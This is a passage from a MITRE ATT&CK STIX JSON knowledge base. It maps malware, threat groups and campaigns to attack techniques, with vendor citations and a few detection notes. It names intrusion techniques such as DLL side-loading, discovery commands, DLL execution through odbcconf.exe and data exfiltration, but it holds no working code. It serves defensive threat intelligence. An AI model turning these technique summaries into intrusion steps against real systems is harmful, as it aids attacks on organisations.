2018)","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--45f5f01e-cfdd-4212-8bd6-0c1b0c82a0a2","created":"2019-01-29T19:36:02.743Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Carbon Mar 2017","description":"ESET. (2017, March 30). Carbon Paper: Peering into Turla’s second stage backdoor. Retrieved November 7, 2018.","url":"https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/"},{"source_name":"GovCERT Carbon May 2016","description":"GovCERT. (2016, May 23). Technical Report about the Espionage Case at RUAG. Retrieved November 7, 2018.","url":"https://web.archive.org/web/20170718174931/https://www.melani.admin.ch/dam/melani/de/dokumente/2016/technical%20report%20ruag.pdf.download.pdf/Report_Ruag-Espionage-Case.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-19T18:36:51.868Z","description":"[Carbon](https://attack.mitre.org/software/S0335) can collect the IP address of the victims and other computers on the network using the commands: ipconfig -all nbtstat -n, and nbtstat -s.(Citation: ESET Carbon Mar 2017)(Citation: GovCERT Carbon May 2016)","relationship_type":"uses","source_ref":"malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--45f64e39-c3f8-4665-8433-af9503852e53","created":"2022-09-07T19:07:34.970Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-21T14:41:58.216Z","description":"During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors likely used spearphishing emails to send malicious Microsoft Word documents.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"campaign--26d9ebae-de59-427f-ae9a-349456bae4b1","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45f68415-1d63-4a14-9c6b-a5ac81e52a66","type":"relationship","created":"2019-06-20T14:52:45.253Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html","source_name":"FireEye HAWKBALL Jun 2019"}],"modified":"2020-03-17T01:27:06.898Z","description":"[HAWKBALL](https://attack.mitre.org/software/S0391) has used HTTP to communicate with a single hard-coded C2 server.(Citation: FireEye HAWKBALL Jun 2019)","relationship_type":"uses","source_ref":"malware--12a7450d-b03e-4990-a5b8-b405ab9c803b","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45f7f495-2de8-4f78-87ec-14201cfc1d46","type":"relationship","created":"2022-01-25T14:46:45.567Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}],"modified":"2022-01-25T14:46:45.567Z","description":"[CharmPower](https://attack.mitre.org/software/S0674) can decrypt downloaded modules prior to execution.(Citation: Check Point APT35 CharmPower January 2022)","relationship_type":"uses","source_ref":"malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45f9e4b6-a6a0-4f9f-aae9-9e8a69f5681d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"},{"source_name":"Unit42 Redaman January 2019","url":"https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/","description":"Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."}],"modified":"2020-06-16T20:51:13.669Z","description":"[RTM](https://attack.mitre.org/software/S0148) can obtain a list of smart card readers attached to the victim.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--460652b5-ffb6-437e-8594-430b62eed38e","type":"relationship","created":"2022-03-09T23:42:34.070Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks IRON VIKING ","url":"https://www.secureworks.com/research/threat-profiles/iron-viking","description":"Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020."}],"modified":"2022-03-09T23:42:34.070Z","description":"(Citation: Secureworks IRON VIKING )","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4612c0bd-f6f7-4c71-92dd-9f26ff1c3eef","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets","description":"Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.","source_name":"Symantec Thrip June 2018"}],"modified":"2020-03-16T18:05:41.507Z","description":"[Thrip](https://attack.mitre.org/groups/G0076) has used WinSCP to exfiltrate data from a targeted organization over FTP.(Citation: Symantec Thrip June 2018)","relationship_type":"uses","source_ref":"intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--46144407-0f14-4358-8d4e-23b3ef13cb4e","type":"relationship","created":"2019-04-01T21:09:50.335Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.","url":"https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/","source_name":"ESET OceanLotus Mar 2019"}],"modified":"2019-07-17T13:11:38.735Z","description":"[APT32](https://attack.mitre.org/groups/G0050)'s backdoor can query the Windows Registry to gather system information. (Citation: ESET OceanLotus Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--461ddc5d-889d-4879-ade3-27ff78d7e442","type":"relationship","created":"2021-12-07T18:39:06.206Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Gigamon Berserk Bear October 2021","url":"https://vblocalhost.com/uploads/VB2021-Slowik.pdf","description":"Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."}],"modified":"2021-12-07T18:39:06.206Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has compromised websites to redirect traffic and to host exploit kits.(Citation: Gigamon Berserk Bear October 2021)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--46250897-5a79-4401-b965-da8115a60d7f","type":"relationship","created":"2021-02-17T20:27:27.434Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM MegaCortex","url":"https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/","description":"Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."}],"modified":"2021-03-31T20:16:56.333Z","description":"[MegaCortex](https://attack.mitre.org/software/S0576) has changed user account passwords and logged users off the system.(Citation: IBM MegaCortex)","relationship_type":"uses","source_ref":"malware--909617c3-6d87-4330-8f32-bd3af38c3b92","target_ref":"attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--463051f0-c988-447c-9820-34e16ad61898","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Monitor for changes made to /proc files that may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Users should not have permission to modify these in most cases. ","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4636d747-9b81-4139-b86d-6e4edbc4111e","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FinFisher Citation","description":"FinFisher. (n.d.). Retrieved September 12, 2024.","url":"https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html"},{"source_name":"Securelist BlackOasis Oct 2017","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.","url":"https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T17:23:46.691Z","description":"A [FinFisher](https://attack.mitre.org/software/S0182) variant uses a custom packer.(Citation: FinFisher Citation)(Citation: Securelist BlackOasis Oct 2017)","relationship_type":"uses","source_ref":"malware--a5528622-3a8a-4633-86ce-8cdaf8423858","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--46371a48-980b-4686-a54b-a828e3ae35c2","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--46389d22-1f4d-4597-b03d-30b9ec4146df","created":"2020-09-09T13:53:35.121Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro FIN6 October 2019","description":"Chen, J. (2019, October 10). Magecart Card Skimmers Injected Into Online Shops. Retrieved September 9, 2020.","url":"https://www.trendmicro.com/en_us/research/19/j/fin6-compromised-e-commerce-platform-via-magecart-to-inject-credit-card-skimmers-into-thousands-of-online-shops.html"},{"source_name":"RiskIQ British Airways September 2018","description":"Klijnsma, Y. (2018, September 11). Inside the Magecart Breach of British Airways: How 22 Lines of Code Claimed 380,000 Victims. Retrieved September 9, 2020.","url":"https://web.archive.org/web/20181231220607/https://riskiq.com/blog/labs/magecart-british-airways-breach/"},{"source_name":"RiskIQ Newegg September 2018","description":"Klijnsma, Y. (2018, September 19). Another Victim of the Magecart Assault Emerges: Newegg. Retrieved September 9, 2020.","url":"https://web.archive.org/web/20181209083100/https://www.riskiq.com/blog/labs/magecart-newegg/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-23T14:06:46.108Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has collected and exfiltrated payment card data from compromised systems.(Citation: Trend Micro FIN6 October 2019)(Citation: RiskIQ British Airways September 2018)(Citation: RiskIQ Newegg September 2018)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--463d6149-8561-4e11-a5a7-c24faa34da62","created":"2024-06-10T21:14:35.474Z","revoked":false,"external_references":[{"source_name":"Secureworks GOLD IONIC April 2024","description":"Counter Threat Unit Research Team. (2024, April 15). GOLD IONIC DEPLOYS INC RANSOMWARE. Retrieved June 5, 2024.","url":"https://www.secureworks.com/blog/gold-ionic-deploys-inc-ransomware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-10T21:14:35.474Z","description":"[INC Ransom](https://attack.mitre.org/groups/G1032) has used Megasync to exfiltrate data to the cloud.(Citation: Secureworks GOLD IONIC April 2024)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--463dc38c-7b05-4ddf-aa27-cce8afef9171","created":"2022-08-29T13:44:59.944Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason Bumblebee August 2022","description":"Cybereason. (2022, August 17). Bumblebee Loader – The High Road to Enterprise Domain Control. Retrieved August 29, 2022.","url":"https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T22:04:18.762Z","description":"[Bumblebee](https://attack.mitre.org/software/S1039) can use `odbcconf.exe` to run DLLs on targeted hosts.(Citation: Cybereason Bumblebee August 2022)","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4642135b-65d9-4b61-b25c-648c674c02dc","created":"2020-06-25T18:24:00.656Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"objective-see windtail2 jan 2019","description":"Wardle, Patrick. (2019, January 15). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 2). Retrieved October 3, 2019.","url":"https://objective-see.com/blog/blog_0x3D.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T20:40:02.893Z","description":"[WindTail](https://attack.mitre.org/software/S0466) can be delivered as a compressed, encrypted, and encoded payload.(Citation: objective-see windtail2 jan 2019)","relationship_type":"uses","source_ref":"malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--46452566-0f0f-4fe9-9cef-ef7e3d6eee36","type":"relationship","created":"2019-02-12T16:33:29.217Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Zebrocy Nov 2018","url":"https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/","description":"ESET. (2018, November 20). Sednit: What’s going on with Zebrocy?. Retrieved February 12, 2019."},{"source_name":"CISA Zebrocy Oct 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."}],"modified":"2020-12-09T21:54:34.039Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) gets the username from the system.(Citation: ESET Zebrocy Nov 2018)(Citation: CISA Zebrocy Oct 2020)","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4647d052-512b-41cf-a8db-cb33c49edc90","created":"2021-01-07T20:35:35.791Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye NETWIRE March 2019","description":"Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021.","url":"https://www.mandiant.com/resources/blog/dissecting-netwire-phishing-campaigns-usage-process-hollowing"},{"source_name":"Proofpoint NETWIRE December 2020","description":"Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021.","url":"https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-13T18:16:43.578Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) has been executed through use of VBScripts.(Citation: FireEye NETWIRE March 2019)(Citation: Proofpoint NETWIRE December 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--464c9ae2-09b1-499d-8477-c05926537e6b","type":"relationship","created":"2019-05-24T17:02:44.404Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lab52 WIRTE Apr 2019","url":"https://lab52.io/blog/wirte-group-attacking-the-middle-east/","description":"S2 Grupo. (2019, April 2). WIRTE Group attacking the Middle East. Retrieved May 24, 2019."}],"modified":"2019-06-20T15:30:38.665Z","description":"(Citation: Lab52 WIRTE Apr 2019)","relationship_type":"uses","source_ref":"intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1","target_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--464ce0ed-31a5-4a99-9791-9ce5bb987f58","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"},{"source_name":"Profero APT27 December 2020","description":"Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.","url":"https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"},{"source_name":"Palo Alto PlugX June 2017","description":"Lancaster, T. and Idrizovic, E.. (2017, June 27). Paranoid PlugX. Retrieved July 13, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/06/unit42-paranoid-plugx/"},{"source_name":"Trend Micro DRBControl February 2020","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf"},{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"},{"source_name":"FireEye Clandestine Fox Part 2","description":"Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016.","url":"https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html"},{"source_name":"Stewart 2014","description":"Stewart, A. (2014). DLL SIDE-LOADING: A Thorn in the Side of the Anti-Virus Industry. Retrieved November 12, 2014.","url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:05:38.079Z","description":"[PlugX](https://attack.mitre.org/software/S0013) has used DLL side-loading to evade anti-virus.(Citation: FireEye Clandestine Fox Part 2)(Citation: Dell TG-3390)(Citation: Stewart 2014)(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Palo Alto PlugX June 2017)(Citation: Trend Micro DRBControl February 2020)(Citation: Profero APT27 December 2020)","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--464e688d-b243-4619-a60b-1be6e2d6a827","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2019-04-24T15:26:03.604Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) is obfuscated using the open source ConfuserEx protector. [Kazuar](https://attack.mitre.org/software/S0265) also obfuscates the name of created files/folders/mutexes and encrypts debug messages written to log files using the Rijndael cipher.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--464f060e-5c48-4f73-a672-c61bb22740c6","type":"relationship","created":"2021-06-22T15:32:10.344Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-22T15:32:10.344Z","description":"(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"malware--94d6d788-07bb-4dcc-b62f-e02626b00108","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--46536757-5c5b-4927-9f68-b12ebef13568","created":"2024-09-18T20:17:20.333Z","revoked":false,"external_references":[{"source_name":"Bitsight Latrodectus June 2024","description":"Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.","url":"https://www.bitsight.com/blog/latrodectus-are-you-coming-back"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T20:17:20.333Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) can collect data from a compromised host using a stealer module.(Citation: Bitsight Latrodectus June 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--465385c3-8659-4225-82b3-215dfc66ba83","type":"relationship","created":"2019-05-24T17:57:36.755Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"GReAT. (2017, November 1). Silence – a new Trojan attacking financial organizations. Retrieved May 24, 2019.","url":"https://securelist.com/the-silence/83009/","source_name":"SecureList Silence Nov 